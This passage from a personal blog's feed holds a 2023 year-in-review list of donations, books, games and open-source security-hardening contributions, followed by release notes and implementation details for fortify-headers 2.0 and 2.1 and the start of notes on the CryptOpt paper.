<a href="https://darkscience.net">darkscience</a>.</li> +<li>$200 each, as a <a href="https://opensource.googleblog.com/search/label/peer%20bonus">Open Source …</a></li></ul></li></ul><p>In 2023, I did, amongst other things:</p> +<ul> +<li>Donated some money:<ul> +<li>$400 to <a href="https://fsfe.org/">FSFE</a></li> +<li>$5000 to <a href="https://noyb.eu">NOYB</a></li> +<li>$5000 to <a href="https://riseup.net">Riseup</a></li> +<li>$5000 to the <a href="https://archive.org">Internet Archive</a></li> +<li>$5000 to the <a href="https://en.wikipedia.org/wiki/Planned_Parenthood">Planned Parenthood Federation of America</a></li> +<li>$1000 to <a href="https://daysforgirls.org">days for girls</a>, on the advice of <a href="https://foreignbystander.com/">chik</a> from <a href="https://darkscience.net">darkscience</a>.</li> +<li>$200 each, as a <a href="https://opensource.googleblog.com/search/label/peer%20bonus">Open Source Peer Bonus</a>, courtesy of Google, to<ul> +<li><a href="https://github.com/richfelker/">Rich Felker</a> for their work on <a href="https://musl.libc.org">musl</a>.</li> +<li><a href="https://mxxn.io/">Blaž Hrastnik</a> for their work on <a href="https://helix-editor.com">Helix</a>.</li> +<li><a href="https://github.com/justinmk">Justin Keyes</a> for their work on <a href="https://neovim.io">Neovim</a>.</li> +<li><a href="https://github.com/jeanas">Jean Abou-Samra</a> for their work on <a href="https://pygments.org">Pygments</a>.</li> +</ul> +</li> +</ul> +</li> +<li>Read a couple of books:<ul> +<li><a href="https://en.wikipedia.org/wiki/The_Killer_(comics)">Le tueur</a></li> +<li>Some <a href="https://en.wikipedia.org/wiki/Warhammer_40,000">Warhammer 40,000</a>:<ul> +<li><a href="https://wh40k.lexicanum.com/wiki/Sons_of_the_Hydra_(Novel)">Sons of the Hydra</a>, neat.</li> +<li><a href="https://wh40k.lexicanum.com/wiki/Dark_Imperium_(Anthology)">Dark Imperium (Anthology)</a></li> +<li><a href="https://wh40k.lexicanum.com/wiki/Shroud_of_Night_(Novel)">Shroud of Night</a>, forgettable.</li> +<li>The <a href="https://wh40k.lexicanum.com/wiki/Black_Legion_(Novel_Series)">Black Legion</a> duology, solid.</li> +<li><a href="https://wh40k.lexicanum.com/wiki/Renegades:_Harrowmaster_(Novel)">Renegades: Harrowmaster</a>, witty.</li> +<li><a href="https://wh40k.lexicanum.com/wiki/Assassinorum:_Kingmaker_(Novel)">Assassinorum: Kingmaker</a>, decent.</li> +<li><a href="https://wh40k.lexicanum.com/wiki/Night_Lords_(Novel_Series)">Night Lords: The Omnibus</a>, outstanding.</li> +<li><a href="https://wh40k.lexicanum.com/wiki/The_Deacon_of_Wounds_(Novel)">The Deacon of Wounds</a> great writing style.</li> +<li><a href="https://wh40k.lexicanum.com/wiki/Assassinorum:_Execution_Force_(Novel)">Assassinorum: Execution force</a>, forgettable.</li> +<li><a href="https://wh40k.lexicanum.com/wiki/The_Infinite_and_the_Divine_(Novel)">The Infinite and the Divine</a>, highly entertaining.</li> +<li><a href="https://wh40k.lexicanum.com/wiki/The_End_and_the_Death:_Volume_I_(Novel)">The End and the Death vol. 1</a>, a <em>teensy</em> bit over the top.</li> +<li><a href="https://wh40k.lexicanum.com/wiki/The_End_and_the_Death:_Volume_II_(Novel)">The End and the Death vol. 2</a>, almost there, almost there, ...</li> +<li><a href="https://wh40k.lexicanum.com/wiki/The_Macharian_Crusade_(Novel_Series)">The Macharian Crusade Omnibus</a>, a writing style a tad heavy.</li> +<li>The <a href="https://wh40k.lexicanum.com/wiki/Dark_Imperium_(Novel_Series)">Dark Imperium</a> trilogy, nice to see the setting moving forward!</li> +<li>The first 5 tomes of the <a href="https://wh40k.lexicanum.com/wiki/Dawn_of_Fire_(Novel_Series)">Dawn of Fire</a> heptalogy, definitely a series of books.</li> +<li><a href="https://wh40k.lexicanum.com/wiki/The_Lion:_Son_of_the_Forest_(Novel)">The Lion: Son of the Forest</a>, I've seen Dragon Balls episodes with a quicker pace.</li> +<li>Finished the <a href="https://wh40k.lexicanum.com/wiki/The_Beast_Arises_(Novel_Series)">Beast Arises</a> + dodecalogy. The last chapter of the final book deserved a book on its own, + instead of being speedrunned in ~30 pages.</li> +</ul> +</li> +<li><a href="https://en.wikipedia.org/wiki/It%27s_OK_to_Be_Angry_About_Capitalism">It's OK to Be Angry About Capitalism</a></li> +<li><a href="https://nostarch.com/hacks-leaks-and-revelations">Hacks, Leaks, and Revelations</a>: a <a href="https://dustri.org/b/book-review-hacks-leaks-and-revelations.html">reference</a></li> +<li><a href="https://direct.mit.edu/books/book/3008/Beyond-ChoicesThe-Design-of-Ethical-Gameplay">Beyond choices: The design of ethical gameplay</a></li> +<li><a href="https://editions-ixe.fr/catalogue/non-le-masculin-ne-lemporte-pas-sur-le-feminin-ned/">Non, le masculin ne l’emporte pas sur le féminin !</a></li> +<li><a href="https://en.wikipedia.org/wiki/This_Changes_Everything_(book)">This Changes Everything: Capitalism vs. the Climate</a></li> +<li><a href="https://www.goodreads.com/en/book/show/51176626">Break 'em Up: Recovering Our Freedom from Big Ag, Big Tech, and Big Money</a>.</li> +<li><a href="https://aosabook.org/en/buy.html">The Performance of Open Source Applications</a>: contains some really nice tidbits.</li> +<li><a href="https://aosabook.org/en/">The Architecture of Open Source Applications, Part 1.</a>: computers were a mistake.</li> +<li><a href="https://nostarch.com/kill-it-fire">Kill It with Fire: Manage Aging Computer Systems (and Future Proof Modern Ones)</a></li> +<li><a href="https://goodreads.com/book/show/38212110-technically-wrong">Technically Wrong: Sexist Apps, Biased Algorithms, and Other Threats of Toxic Tech</a></li> +<li><a href="https://nostarch.com/locksport">Locksport - A Hacker’s Guide to Lockpicking, Impressioning, and Safe Cracking</a>: <a href="https://dustri.org/b/book-review-locksport-a-hackers-guide-to-lockpicking-impressioning-and-safe-cracking.html">great</a></li> +<li><a href="https://freakyclown.com/publications">How I Rob Banks (and other such places)</a>, written in an unbearably cocky style, mildly entertaining.</li> +<li><a href="https://samleecole.com">How Sex Changed the Internet and the Internet Changed Sex: An Unexpected History</a>, a bit too shallow for my taste.</li> +<li><a href="https://toddrose.com/endofaverage">The End of Average</a>, great book, except the part where the author argues that the goal of schools is to prepare kids for jobs.</li> +<li><a href="https://staffeng.com/book">Staff Engineer: Leadership beyond the management track</a>, I'm not there yet, but it helped me understand some coworker's jobs and struggles.</li> +<li><a href="https://thirdeditions.com/en/sagas/94-metal-gear-solid-hideo-kojima-s-magnum-opus-9791094723616.html">Metal Gear Solid. Hideo Kojima's Magnum Opus</a>: + deluge of superlatives directed at Kojima, speculative opinionated wild rambling, no mention of the <a href="https://en.wikipedia.org/wiki/Quiet_(Metal_Gear)">rampant</a> + <a href="https://theguardian.com/technology/2014/apr/09/metal-gear-solid-ground-zeroes-sexual-violence">sexism</a>, + typos and frenchisms, … prefer the <a href="https://en.wikipedia.org/wiki/Metal_Gear">wikipedia</a> and <a href="https://metalgear.fandom.com/wiki/Metal_Gear_Wiki">fandom</a> pages instead.</li> +<li><a href="https://en.wikipedia.org/wiki/The_Mirage_(Ruff_novel)">The Mirage</a>: I + was expecting more of a description of an alternative history than a + novel with a lame plot and forgettable characters. The humour is goofy + and unsubtle: a punk rock group called Green Desert has an anti-war + anthem named "Arabian Idiot"; a morning talk show called Jazeera &amp; + Friends, … but this is completely on par with the post-11-September + anti-muslim/Iraqi rhetoric, making it both funny and perfectly adequate.</li> +</ul> +</li> +<li>Moved back to France.</li> +<li>Volunteered at a library.</li> +<li>Refused to sell <a href="https://websec.fr">websec.fr</a></li> +<li>Listened to <a href="https://listenbrainz.org/user/jvoisin/year-in-music/">some music</a>.</li> +<li>Attended some concerts:<ul> +<li><a href="https://en.wikipedia.org/wiki/Eisbrecher">Eisbrecher</a>, along with <a href="https://maerzfeld.de">Maerzfeld</a></li> +<li><a href="https://gojira-music.com">Gojira</a>, along with <a href="https://alienweaponry.com">Alien Weaponry</a></li> +<li><a href="https://katatonia.com">Katatonia</a>, along with + <a href="https://som.band">SOM</a> and <a href="https://solstafir.net">Sólstafir</a></li> +<li><a href="https://heavenshallburn.com">Heaven Shall Burn</a>, along with + <a href="https://trivium.org">Trivium</a>, + <a href="https://en.wikipedia.org/wiki/Malevolence_(band)">Malevolence</a>, and + <a href="https://obituary.cc">Obituary</a></li> +<li><a href="https://igorrr.com">Igorrr</a>, along with + <a href="https://derwegeinerfreiheit.de">Der Weg einer Freiheit</a>, + <a href="https://en.wikipedia.org/wiki/Amenra">Amenra</a>, and + <a href="http://hangmanschair.com">Hangman's Chain</a></li> +</ul> +</li> +<li>Played some video games:<ul> +<li>On a computer:<ul> +<li><a href="https://www.doomworld.com/forum/topic/134292-myhousewad/">MyHouse.WAD</a>: <a href="https://doomwiki.org/wiki/My_House">wow</a>.</li> +<li><a href="https://en.wikipedia.org/wiki/Observer_(video_game)">&gt;observer_</a>: didn't like it.</li> +<li><a href="https://en.wikipedia.org/wiki/Sea_of_Thieves">Sea of Thieves</a>, ~ok with friends.</li> +<li><a href="https://hyperstrange.com/our-games/blood-west/">Blood West</a>: <a href="https://en.wikipedia.org/wiki/Thief_(series)">Thief</a> in the Far West.</li> +<li><a href="https://en.wikipedia.org/wiki/Half-Life%3A_Alyx">Half Life: Alyx</a>: impressive in every way.</li> +<li><a href="https://en.wikipedia.org/wiki/High_on_Life_(video_game)">High on Life</a>: excruciatingly tedious at best.</li> +<li><a href="https://en.wikipedia.org/wiki/Cyberpunk_2077#Cyberpunk_2077:_Phantom_Liberty">Cyberpunk 2077: Phantom Liberty</a>: glorious.</li> +<li><a href="https://en.wikipedia.org/wiki/Tom_Clancy's_Rainbow_Six_Siege">Rainbow Six: Siege</a>: better than <a href="https://en.wikipedia.org/wiki/Counter-Strike">Counter Strike</a>.</li> +<li><a href="https://en.wikipedia.org/wiki/Hogwarts_Legacy">Hogwarts Legacy</a>: breathtaking and well rounded.</li> +<li><a href="https://store.steampowered.com/app/2329130/Rewind_Or_Die/">Rewind or Die</a> felt like playing resident evil again &lt;3</li> +<li><a href="https://en.wikipedia.org/wiki/Outer_Wilds">Outer Wilds</a>: the controls were too terrible for me to play.</li> +<li><a href="https://en.wikipedia.org/wiki/The_Last_of_Us_Part_I">The Last of Us Part 1</a>: ok-ish, not my jam, Joel is a moron.</li> +<li><a href="https://en.wikipedia.org/wiki/The_Witcher_3%3A_Wild_Hunt">The Witcher 3 - Wild Hunt</a>: when did video game get so long…</li> +<li><a href="https://en.wikipedia.org/wiki/Apex_Legends">Apex Legends</a>: a lame version of <a href="https://en.wikipedia.org/wiki/Titanfall_2">Titanfall 2</a>, ok-ish when playing ranked.</li> +<li><a href="https://en.wikipedia.org/wiki/Warhammer_40,000:_Chaos_Gate_-_Daemonhunters">Warhammer 40,000: Chaos Gate - Daemonhunters</a>: + <a href="https://en.wikipedia.org/wiki/XCOM">XCOM</a> with <a href="https://wh40k.lexicanum.com/wiki/Grey_Knights">Grey knights</a>.</li> +<li><a href="https://en.wikipedia.org/wiki/Metal%3A_Hellsinger">Metal: Hellsinger</a>: looked super-lame on gameplay videos, but was surprisingly fun.</li> +<li><a href="https://en.wikipedia.org/wiki/Starfield_(video_game)">Starfield</a>: a buggy clunky quickly-boring + <a href="https://en.wikipedia.org/wiki/The_Elder_Scrolls_V:_Skyrim">Skyrim</a> in space, quickly went back to Cyberpunk 2077.</li> +<li><a href="https://store.steampowered.com/app/1172650/INDUSTRIA/">Industria</a>: catastrophic performances for looking utterly terrible, along with a clunky feeling, promptly uninstalled.</li> +<li><a href="https://en.wikipedia.org/wiki/Journey_to_the_Savage_Planet">Journey to the Savage Planet</a>: Rich in poop-oriented + jokes, trying hard to be funny and maybe even subversive but systematically falling flat.</li> +<li><a href="https://en.wikipedia.org/wiki/Baldur%27s_Gate_3">Baldur's Gate 3</a>: not a + fan of the <a href="https://en.wikipedia.org/wiki/Dungeons_%26_Dragons">Dungeons &amp; Dragons</a> dice-based + gameplay, nor of the hard dialog choices cutting entire parts of the game, + but still an amazing game.</li> +<li><a href="https://en.wikipedia.org/wiki/Metal_Gear_Solid_V:_The_Phantom_Pain">Metal Gear Solid V: The Definitive Experience</a>, + so <a href="https://en.wikipedia.org/wiki/Metal_Gear_Solid_V:_Ground_Zeroes">Metal Gear Solid V: Ground Zeroes</a> and + <a href="https://en.wikipedia.org/wiki/Metal_Gear_Solid_V:_The_Phantom_Pain">Metal Gear Solid V: The Phantom Pain</a>. + I bought it after having seen the former being run at the <a href="https://gamesdonequick.com/tracker/run/5506">AGDQ 2023</a>. + Truly amazing game overall, except for the <a href="https://en.wikipedia.org/wiki/Metal_Gear_Solid_V:_The_Phantom_Pain#Portrayal_of_Quiet">sexualisation of the <em>sole</em> female character</a>.</li> +</ul> +</li> +<li>On a (glorious) <a href="https://en.wikipedia.org/wiki/Steam_Deck">Steam Deck</a>:<ul> +<li><a href="https://store.steampowered.com/app/638990/UNDYING/">UNDYING</a>: nice + zombie-related game.</li> +<li><a href="https://store.steampowered.com/agecheck/app/1593500/">God of War</a>, + surprisingly "wholesome".</li> +<li><a href="https://blacksaltgames.com/">Dredge</a>, terrific indie game: gorgeous looking, simple yet gripping gameplay, interesting lore and story, …</li> +<li><a href="https://en.wikipedia.org/wiki/Vampyr_(video_game)">Vampyr</a>, because + I miss <a href="https://en.wikipedia.org/wiki/Vampire:_The_Masquerade_%E2%80%93_Bloodlines">Vampire: The Masquerade – Bloodlines</a>. It could have been so much more instead of being "meh".</li> +</ul> +</li> +</ul> +</li> +<li>Ported <a href="https://github.com/jvoisin/snuffleupagus">Snuffleupagus</a> to PHP8.3.</li> +<li>Contributed to a couple of software:<ul> +<li><a href="https://github.com/lite-xl/lite-xl/pulls?q=is%3Apr+author%3Ajvoisin">lite-xl</a></li> +<li><a href="https://alpinelinux.org/">Alpine linux</a>, by:<ul> +<li>becoming a <a href="https://pkgs.alpinelinux.org/packages?branch=edge&amp;repo=&amp;arch=&amp;maintainer=Julien%20Voisin">package maintainer</a></li> +<li><a href="https://gitlab.alpinelinux.org/alpine/tsc/-/issues/64">documenting a bit</a> the compiler-based mitigations, + and <a href="https://gitlab.alpinelinux.org/alpine/abuild/-/merge_requests/221">enabling some missing ones</a>.</li> +</ul> +</li> +<li>Because of <a href="https://runzero.com">runZero</a>, I<ul> +<li><a href="https://github.com/rapid7/recog/pulls?q=+is%3Apr+author%3Ajvoisin">contributed to recog</a> to improve some of its fingerprints;</li> +<li><a href="https://github.com/Sonarr/Sonarr/issues/5601">made it less trivial</a> to detect Sonarr/Lidarr/Radarr/… versions.</li> +</ul> +</li> +<li><a href="https://github.com/struct/isoalloc/pulls?q=is%3Apr+author%3Ajvoisin+created%3A2023">isoalloc</a></li> +<li><a href="https://github.com/pygments/pygments/commits?author=jvoisin">pygments</a>, mainly by adding lexers.</li> +<li><a href="https://github.com/morpheus65535/bazarr/pull/2304">bazaar</a>, making it work on Alpine Linux.</li> +<li><a href="https://github.com/google/oss-fuzz/pulls?q=is%3Apr+author%3Ajvoisin">oss-fuzz</a>, + including some <a href="https://github.com/guidovranken/python-library-fuzzers/pulls?q=is%3Apr+author%3Ajvoisin">python fuzzers</a>.</li> +<li><a href="https://github.com/daanx/mimalloc-bench">mimalloc-bench</a>, + resulting in some <a href="https://github.com/microsoft/snmalloc/pull/587#issuecomment-1442077886">real world improvements</a>.</li> +<li><a href="https://github.com/quodlibet/mutagen/pulls/jvoisin">mutagen</a>, since it's + used by <a href="https://0xacab.org/jvoisin/mat2">mat2</a>. I even <a href="https://github.com/google/oss-fuzz/pull/10072">integrated it into + OSS-Fuzz</a>.</li> +<li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is%3Apr+jvoisin">metasploit</a>, +by doing a lot of code reviews for pull-requests, and landing some modules, + like a <a href="https://github.com/rapid7/metasploit-framework/pull/17711">SPIP RCE</a>, + courtesy of <a href="https://thinkloveshare.com/">Laluka</a> and <a href="https://twitter.com/coiffeur0x90">coiffeur</a>.</li> +<li><a href="https://chrony.tuxfamily.org/">chrony</a>, spending some time debugging + <a href="https://mail-archive.com/chrony-dev@chrony.tuxfamily.org/msg02572.html">how to enable its seccomp sandbox</a> + on Alpine Linux, resulting in a <a href="https://gitlab.alpinelinux.org/alpine/aports/-/issues/14891#note_316587">couple of improvements</a>, + and of course a <a href="https://gitlab.alpinelinux.org/alpine/aports/-/merge_requests/47087">now-enabled-by-default sandbox</a> there.</li> +</ul> +</li> +<li>Got a CVE for a bug I <a href="https://github.com/py-pdf/pypdf/security/advisories/GHSA-jrm6-h9cq-8gqw">reported</a> in 2020!</li> +<li>Kept maintaining <a href="https://openmw.org">OpenMW</a>'s infrastructure.</li> +<li>Learnt some <a href="https://en.wikipedia.org/wiki/Rust_(programming_language)">Rust</a> so I could hang out with the cool kids.</li> +<li>Helped organise the <a href="http://g.co/ctf">GoogleCTF</a>, which was <a href="https://ctftime.org/event/1929">pretty well received</a>.</li> +<li>Added more possible subtitles to this blog, bringing their numbers above 1100.</li> +<li>Reduced the size of this website's webpages; most should now be around 10kb.</li> +<li>Contributed a bit to Wikipedia, in <a href="https://en.wikipedia.org/wiki/Special:Contributions/jvoisin">English</a> and in <a href="https://fr.wikipedia.org/wiki/Sp%C3%A9cial:Contributions/jvoisin">French</a> + under my usual nickname.</li> +<li>Moved my emails away from <a href="https://gandi.net">Gandi</a> over to <a href="https://migadu.com">Migadu</a>, + given their <a href="https://chatting.neocities.org/posts/2023-gandi-pricing">ludicrous</a> post-acquisition price increase.</li> +<li><a href="https://github.com/jvoisin/compiler-flags-distro">Investigated</a> what + hardening-related compiler flags where enabled by default by popular Linux + distributions.</li> +<li><a href="https://tests.stockfishchess.org/users#jvoisin">Contributed a bit</a> (by crunching numbers) to <a href="https://stockfishchess.org/">Stockfish</a>, + an open-source chess engine with an <a href="https://en.wikipedia.org/wiki/Elo_rating_system">Elo rating</a> + around <a href="https://computerchess.org.uk/ccrl/4040/rating_list_all.html">3500</a>.</li> +<li>Got featured a couple of times on Hackernew/reddit/lobste.rs/… frontpage, + thanks to a <s><a href="https://www.reddit.com/r/karma/wiki/index/faq/">karma</a> junkie</s> + marketing-able <a href="https://dijit.sh">friend</a></li> +<li>Kept maintaining <a href="https://nos-oignons.net/">Nos Oignons</a>'s infrastructure with <a href="https://corl3ss.com/">corl3ss</a>. + We're back at handling <a href="https://nos-oignons.net/Services/index.en.html">around 2%</a> + of tor's exit traffic! Our little non-profit is now 10 years old.</li> +<li><a href="https://github.com/jvoisin/fortify-headers">Took over</a> the development and maintenance of + <a href="https://u.2f30.org/sin/">sin</a>'s <a href="https://git.2f30.org/fortify-headers/">fortify-headers</a>. + It's used by <a href="https://openwrt.org/">OpenWrt</a>, <a href="https://www.alpinelinux.org/">Alpine Linux</a>, + and <a href="https://bugs.gentoo.org/546692">soon</a> in <a href="https://wiki.gentoo.org/wiki/Project:Musl">Gentoo Hardened's musl flavour</a>.</li> +<li>Ported my resume/cover letter template from + <a href="https://latex-project.org">LaTeX</a> to + <a href="https://typst.app/docs/guides/guide-for-latex-users/">typst</a> and felt so + much joy purging away all the LaTeX/TeXLive/XeTeX/LuaTeX/… garbage from my computer, + to never have to touch it again.</li> +<li>Got a "Documented Feedback from Employee Relations" from HR at work for + saying "Awkward to have yet another middle aged rich white het guy come talk + about diversity and inclusion." on an internal chatroom, about <a href="https://booleanblackbelt.com/who-is-the-boolean-black-belt/">this middle + aged rich white het guy</a> + invited to give an internal talk about diversity and inclusion.</li> +</ul>fortify-headers 2.12023-12-16T20:30:00+01:002023-12-16T20:30:00+01:00jvoisintag:dustri.org,2023-12-16:/b/fortify-headers-21.html<p>Only 4 days after the <a href="https://dustri.org/b/fortify-headers-20.html">release</a> of +<a href="https://github.com/jvoisin/fortify-headers">fortify-headers</a>, +here is the <a href="https://github.com/jvoisin/fortify-headers/releases/tag/2.1">2.1</a>, +fixing a couple of portability issues and tidying a bit the code. +<a href="https://chimera-linux.org/">Chimera Linux</a> users are +<a href="https://github.com/chimera-linux/cports/commit/a26be649d8a13c1012d5e165055d354a6bab1af8">as of today</a> +<del>test driving</del> benefiting from it.</p> +<h2>Changelog</h2> +<ul> +<li>Remove superfluous includes from the headers</li> +<li>Put some functions in to their …</li></ul><p>Only 4 days after the <a href="https://dustri.org/b/fortify-headers-20.html">release</a> of +<a href="https://github.com/jvoisin/fortify-headers">fortify-headers</a>, +here is the <a href="https://github.com/jvoisin/fortify-headers/releases/tag/2.1">2.1</a>, +fixing a couple of portability issues and tidying a bit the code. +<a href="https://chimera-linux.org/">Chimera Linux</a> users are +<a href="https://github.com/chimera-linux/cports/commit/a26be649d8a13c1012d5e165055d354a6bab1af8">as of today</a> +<del>test driving</del> benefiting from it.</p> +<h2>Changelog</h2> +<ul> +<li>Remove superfluous includes from the headers</li> +<li>Put some functions in to their proper files</li> +<li>Add a missing include in <code>sys/select.h</code></li> +<li>Do not use static inline for C++ to avoid <a href="https://en.wikipedia.org/wiki/One_Definition_Rule">ODR</a>-wise violation</li> +<li>Guard some conditional stdio APIs with the right macros</li> +<li>Fix a typo that would prevent C++ code from compiling correctly</li> +<li>Rename macros to be more namespace-friendly</li> +</ul> +<h2>Implementation details</h2> +<p>Including parts from the +<a href="https://en.wikipedia.org/wiki/Standard_library">stdlib</a> in fortify means that +programs that don't correctly include everything they need might compile, even +though they shouldn't. Fortunately, the only bits used are either:</p> +<ul> +<li><code>size_t</code>, which can be obtained by using <code>typeof(sizeof(char))</code>, + since it's by definition the type returned by <code>sizeof</code>.</li> +<li>constants like <code>PATH_MAX</code> (that we can define to <code>4096</code>), <code>MB_LEN_MAX</code> + (defined as 16), ...</li> +<li>eldritch constructs like <a href="https://www.man7.org/linux/man-pages/man3/MB_CUR_MAX.3.html"><code>MB_CUR_MAX</code></a>, + whose usage we hide behind an <code>#ifdef</code>.</li> +</ul> +<p>The other big thing is the one caught by <a href="https://github.com/ssbr">Devin Jeanpierre</a>, the usage of <code>static +inline</code> while <a href="https://en.cppreference.com/w/c/language/inline">absolutely alright in C</a>, +is problematic in C++, because of the <a href="https://en.wikipedia.org/wiki/One_Definition_Rule">One Definition Rule</a>: +In C++, if a function is declared inline, it must be declared inline in every translation unit, and also every +definition of an inline function must be exactly the same (while in C they may +be different.) On the other hand, C++ allows non-const function-local +statics and all function-local statics from different definitions of an inline +function are the same in C++, but distinct in C. +More practically, calling <code>FORTIFY_INLINE</code> functions from an inline function in C++, and including +the header defining that inline function in more than one <a href="https://en.wikipedia.org/wiki/Translation_unit_%28programming%29">translation +unit</a> results +in undefined behaviour. The fix is easy, and was +<a href="https://github.com/jvoisin/fortify-headers/commit/c607773a80e6685ab4c922245c33cf2ea5dcfb72">commited</a> +by <a href="https;//github.com/q66">q66</a>: use <code>static</code> instead of <code>static inline</code> in C++.</p> +<p>Thanks <a href="https://github.com/ssbr">Devin Jeanpierre</a> for spending time to look at +C++ compatibility, <a href="https://github.com/q66">q66</a> for his patches, willingness to ship +fortify-headers in Chimera, and becoming co-maintainer.</p>fortify-headers 2.02023-12-12T23:30:00+01:002023-12-12T23:30:00+01:00jvoisintag:dustri.org,2023-12-12:/b/fortify-headers-20.html<p>8 months ago, I started to contribute to <a href="https://git.2f30.org/fortify-headers/">fortify-headers</a>, +a standalone <a href="https://gcc.gnu.org/legacy-ml/gcc-patches/2004-09/msg02055.html">fortify-source</a> implementation, +with the goal of implementing <code>FORTIFY_SOURCE=3</code>, since the current version +only implemented <code>FORTIFY_SOURCE=2</code>. I reached out to +<a href="https://u.2f30.org/sin/">sin</a>, the original maintainer, to ask if he was +interested in my changes, and he told me the …</p><p>8 months ago, I started to contribute to <a href="https://git.2f30.org/fortify-headers/">fortify-headers</a>, +a standalone <a href="https://gcc.gnu.org/legacy-ml/gcc-patches/2004-09/msg02055.html">fortify-source</a> implementation, +with the goal of implementing <code>FORTIFY_SOURCE=3</code>, since the current version +only implemented <code>FORTIFY_SOURCE=2</code>. I reached out to +<a href="https://u.2f30.org/sin/">sin</a>, the original maintainer, to ask if he was +interested in my changes, and he told me the project wasn't maintained +anymore. But he would be happy to give me the commit bit instead. I spent +some months <a href="https://github.com/jvoisin/fortify-headers">writing code</a> before +accepting, to see if it would be a good idea: Would I be able to maintain it? +To improve it? Add more features? and so on. Turns out the answer is yes, and +I'm thus happy to announce the immediate availability of <a href="https://git.2f30.org/fortify-headers/refs.html">fortify-headers +2.0</a>!</p> +<h2>Changelog</h2> +<ul> +<li>Added clang support, based on <a href="https://github.com/q66">q66</a>'s patches.</li> +<li>Fixed a 64b-related incompatibility around <code>ppoll</code> </li> +<li>Added a ton of tests, with <a href="https://jvoisin.github.io/fortify-headers/">around 90% of coverage</a></li> +<li>Made use of <code>__builtin_dynamic_object_size</code> when <code>FORTIFY_SOURCE=3</code> is used, + instead of <code>__builtin_object_size</code>.</li> +<li>Made use of <a href="https://clang.llvm.org/docs/AttributeReference.html">attributes</a>: + <a href="https://clang.llvm.org/docs/AttributeReference.html#alloc-size">alloc_size</a>, + <a href="https://clang.llvm.org/docs/AttributeReference.html#diagnose-as-builtin">diagnose_as_builtin</a>, + <a href="https://clang.llvm.org/docs/AttributeReference.html#diagnose-if">diagnose_if</a>, + <a href="https://clang.llvm.org/docs/AttributeReference.html#format">format</a>, + <a href="https://clang.llvm.org/docs/AttributeReference.html#malloc">malloc</a>, + <a href="https://clang.llvm.org/docs/AttributeReference.html#nodiscard-warn-unused-result">warn_unused_result</a>, + …</li> +<li>Added some missing functions, like <code>calloc</code>, <code>fdopen</code>, <code>fmemopen</code>, <code>fprintf</code>, + <code>malloc</code>, <code>memchr</code>, <code>popen</code>, <code>printf</code>, <code>qsort</code>, <code>umask</code>, …</li> +<li>Added continuous integration, both on clang and gcc, covering the whole range + of supported versions across the latest Ubuntu LTS.</li> +</ul> +<h2>Implementation details</h2> +<p>Since this is a pretty uncommon piece of software, friends of mine have been +asking me details about the involved black magic. +While it's possible to overload functions with the +<a href="https://clang.llvm.org/docs/AttributeReference.html#overloadable">overloadable</a> +attribute in C, there isn't really something similar for drive-by overloading. +Fortunately, it's possible to hack an equivalent by combining +<a href="https://gcc.gnu.org/onlinedocs/cpp/Wrapper-Headers.html"><code>#include_next</code></a> with +the following macros:</p> +<div class="codehilite"><pre><span></span><code><span class="cp">#define _FORTIFY_STR(s) #s</span> +<span class="cp">#define _FORTIFY_ORIG(p, fn) __typeof__(fn) __orig_##fn __asm__(_FORTIFY_STR(p) #fn)</span> +<span class="cp">#define _FORTIFY_FNB(fn) _FORTIFY_ORIG(__USER_LABEL_PREFIX__, fn)</span> +<span class="cp">#define _FORTIFY_FN(fn) _FORTIFY_FNB(fn); _FORTIFY_INLINE</span> +</code></pre></div> + +<p>This makes the original function available when prefixed with <code>__orig</code>, +while allowing overloading. +On clang, the <a href="https://clang.llvm.org/docs/AttributeReference.html#pass-object-size-pass-dynamic-object-size"><code>pass_object_size</code>/<code>pass_dynamic_object_size</code></a> +attribute is used to pass down arguments size; the assembly label preventing +weird <a href="https://en.wikipedia.org/wiki/Name_mangling">mangling</a> issues. Since +it's only a label, despite being assembly, it's still portable across various +architectures. The <code>_FORTIFY_INLINE</code> macro contains all possible "please inline this +function" directives as possible, to avoid polluting the symbols.</p> +<p>There is of course a ton of <code>#ifdef</code>/<code>#if __has_atribute</code>/… to work around various +compiler intrinsics, like clang missing <code>__builtin_va_arg_pack</code> or gcc missing +<code>diagnose_if</code>, so that fortify-headers will always make use of the most +features available.</p> +<p>It is indeed a particularly gross pile of hacks, +but this is C, also known as "nice things and why we can't have them."</p> +<p>Thanks to <a href="https://u.2f30.org/sin/">sin</a> for creating the project and +maintaining it for years, <a href="https://daniel.micay.dev">strcat</a> for his inspiring +work on fortifying <a href="https://en.wikipedia.org/wiki/Bionic_(software)">bionic</a>, +<a href="https://github.com/q66">q66</a> for his clang patches and general support, +the friendly people from <a href="https://2f30.org">2f30</a> for their patience, +<a href="http://serge.liyun.free.fr/serge/">Serge Sans Paille</a> for his <a href="https://github.com/serge-sans-paille/fortify-test-suite">testsuite</a>, +<a href="https://people.freebsd.org/~kevans/">kevans</a> for his work on fortifying +<a href="https://reviews.freebsd.org/D32306">FreeBSD's libc</a>, +Red Hat from pushing <code>FORTIFY_SOURCE=2</code> and <code>FORTIFY_SOURCE=3</code> forward, +...</p>Paper notes: CryptOpt2023-12-01T12:30:00+01:002023-12-01T12:30:00+01:00jvoisintag:dustri.org,2023-12-01:/b/paper-notes-cryptopt.html<ul> +<li>Full title: CryptOpt: Verified Compilation with Randomized Program Search for Cryptographic Primitives</li> +<li>PDF: <a href="https://arxiv.org/abs/2211.10665">arXiv</a> (<a href="https://dustri.org/b/files/papers/cryptopt.pdf">local mirror</a>)</li> +<li>Authors: Joel Kuepper, Andres Erbsen, Jason Gross, Owen Conoly, Chuyue Sun, Samuel Tian, David Wu, Adam Chlipala, Chitchanok Chuengsatiansup, Daniel Genkin, Markus Wagner, Yuval Yarom</li> +</ul> +<p>Cryptography is hard, high-performance one even more so: formal …</p><ul> +<li>Full title: CryptOpt: Verified Compilation with Randomized Program Search for Cryptographic Primitives</li> +<li>PDF: <a href="https://arxiv.org/abs/2211.10665">arXiv</a> (<a href="https://dustri.org/b/files/papers/cryptopt.pdf">local mirror</a>)</li> +<li>Authors: Joel Kuepper, Andres Erbsen, Jason Gross, Owen Conoly, Chuyue Sun, Samuel Tian, David Wu, Adam Chlipala, Chitchanok Chuengsatiansup, Daniel Genkin, Markus Wagner, Yuval Yarom</li> +</ul> +<p>Cryptography is hard, high-performance one even more so: formal proof of +assembly implementations is horrible to model, and code generation from +formal proofs are hard to lower to high-performance assembly. The core idea of +CryptOpt is to treat this as a black box combinatorial optimization problem, +and bruteforce possible solutions in a smart way against an oracle.</p> +<p>More precisely:</p> +<ol> +<li>start from a known-correct implementation in + <a 